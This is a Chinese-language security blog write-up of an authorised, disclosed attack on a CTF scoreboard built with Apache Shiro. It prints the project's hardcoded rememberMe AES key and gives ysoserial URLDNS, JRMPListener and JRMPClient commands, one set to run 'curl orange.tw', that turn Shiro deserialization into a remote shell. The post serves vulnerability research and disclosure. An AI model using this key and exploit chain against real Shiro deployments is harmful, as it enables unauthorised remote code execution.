Pwn a CTF Platform with Java JRMP Gadget

打 CTF 打膩覺得沒啥新鮮感嗎，來試試打掉整個 CTF 計分板吧! 前幾個月，剛好看到某個大型 CTF 比賽開放註冊，但不允許台灣參加有點難過 :(

看著官網最下面發現是 FlappyPig 所主辦，又附上 GitHub 原始碼 秉持著練習 Java code review 的精神就 git clone 下來找洞了!

(以下測試皆在 FlappyPig 的允許下友情測試，漏洞回報官方後也經過同意發文)

在有原始碼的狀況下進行 Java 的 code review 第一件事當然是去了解第三方 Libraries 的相依性，關於 Java 的生態系我也在幾年前的文章小小分享過，當有個底層函式庫出現問題時是整個上層的應用皆受影響!

從 pom.xml 觀察發現用了

  1. Spring Framework 4.2.4
    • 從版本來看似乎很棒沒什麼重大問題
  2. Mybatis 3.3.1
    • 一個 Java ORM
    • 似乎也沒看到用法有問題
  3. Jackson 2.7.1
    • 出過反序列化漏洞
    • 不過 enableDefaultTyping 沒啟用，也無直接收取 JSON 輸入無法觸發漏洞
  4. Apache Shiro 1.2.4

既然有現成的洞，當下即開始針對 Shiro 進行研究，首先遇到的第一個問題是照著文章內 PoC 的方式解密會發現失敗，看來是有自己修改過的怎麼辦QQ 不過翻著翻著原始碼在 src/main/resources/spring-shiro.xml 看到 

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<!-- rememberMe管理器 -->
<bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
    <!-- rememberMe cookie加密的密钥 建议每个项目都不一样 默认AES算法 密钥长度（128 256 512 位）-->
    <property name="cipherKey"
              value="#{T(org.apache.shiro.codec.Base64).decode('cGhyYWNrY3RmREUhfiMkZA==')}"/>
              <!-- Cookie加密密钥：phrackctfDE!~#$d -->
    <property name="cookie" ref="rememberMeCookie"/>
</bean>

真開心XD 把 AES Key 更正後解回來的東西有 AC ED 開頭看起來是序列化過後的資料，真棒

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$ python decrypt.py cGhyYWNrY3RmREUhfiMkZA== | xxd 
00000000: 9373 1385 4bb7 526f 7a97 f7c5 1e17 0da3  .s..K.Roz.......
00000010: aced 0005 7372 0032 6f72 672e 6170 6163  ....sr.2org.apac
00000020: 6865 2e73 6869 726f 2e73 7562 6a65 6374  he.shiro.subject
00000030: 2e53 696d 706c 6550 7269 6e63 6970 616c  .SimplePrincipal
00000040: 436f 6c6c 6563 7469 6f6e a87f 5825 c6a3  Collection..X%..
...

接著就是產 Gadget 丟到遠端伺服器拿 shell，但在這步怎麼也無法成功利用，有點殘念只好再繼續研究下去!

當時的猜想是:

Apache Shiro 是一套實現身分驗證的 Library，而實現的方式可能有定義自己的 ClassLoader 因此導致現有的 Gadget 無法使用

(尚無查證，不過在拿到 shell 後看到這篇文章 Exploiting JVM deserialization vulns despite a broken class loader 證明猜想也許是對的，不過這篇也沒實現 RCE XD)雖然無法跳至 Common Collection 但至少還有 JRE 本身的 Gadget 可以跳去做二次利用!

綜觀 ysoserial 除了 JRE 本身的洞外可利用的 Gadget 所剩無幾，先來試試 URLDNS 至少先確認漏洞存在再說!

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$ java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://mydnsserver.orange.tw/ | python exp.py

發現 DNS 有回顯至少確認漏洞存在了，再繼續往下利用!下一步我選的 Gadget 則是 JRMPClient，由於 JRMP 是位於 RMI 底下的一層實作，所以走的也是反序列化的協議，”純猜測” 也許在這裡使用 ClassLoader 就不會是 Apache Shiro 而是原本的 ClassLoader

(未查證，如有人可以幫忙查證請告訴我結果XD)

但這裡又遇到一個問題是，如何實現一個 JRMP Server 去接送過來的 Protocol?

網路上並沒有人有提供 JRMPClient 要如何使用的教學及利用方式!本來想要手刻但找著找著資料找回 ysoserial 上的 JRMPListener.java，讀了一下原始碼才驚覺 ysoserial 真棒，各種模組化及利用都幫你寫好了! ysoserial 分為兩個大部分，payload 以及 exploit，平常都只有用到產 payload 的部分而已，但實際上作者有寫好幾份可直接利用的 exploit 並模組化，讓我們可以直接利用!

所以最後的利用則是:

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$ java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl orange.tw'
# listen 一個 RMI server 走 JRMP 協議在 12345 port 上

$ java -jar ysoserial-master-SNAPSHOT.jar JRMPClient '1.2.3.4:12345'  | python exp.py
# 使用 JRMPClient 去連接剛剛 listen 的 server

如此一來就可以獲得 shell 惹!

Updates

  • 2018/03/27 01:23, Update
    1. 經過比較詳細的分析，一開始失敗的詳細原因真是如同文章 所說 Shiro 自己實現了一個 Buggy 的 ClassLoader
    2. 所以 payload 當中出現 ChainedTransformer 或是 InvokerTransformer 都會出現 Unable to deserialize argument byte array 錯誤
    3. 而內建的 URLDNS 及 JRMPClient 剛好沒用到上述方式實現 Gadget 所以可以使用!
    4. 所以理論上透過 RMI 或是 JDNI 的方式應該也可以成功!
  • 2018/03/27 10:09, Update
    1. 留言中有人給出了更詳細的 root cause! - “Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName()，而ClassLoader.loadClass不支持装载数组类型的class。”
    2. 感謝幫忙解惑 <(_ _)>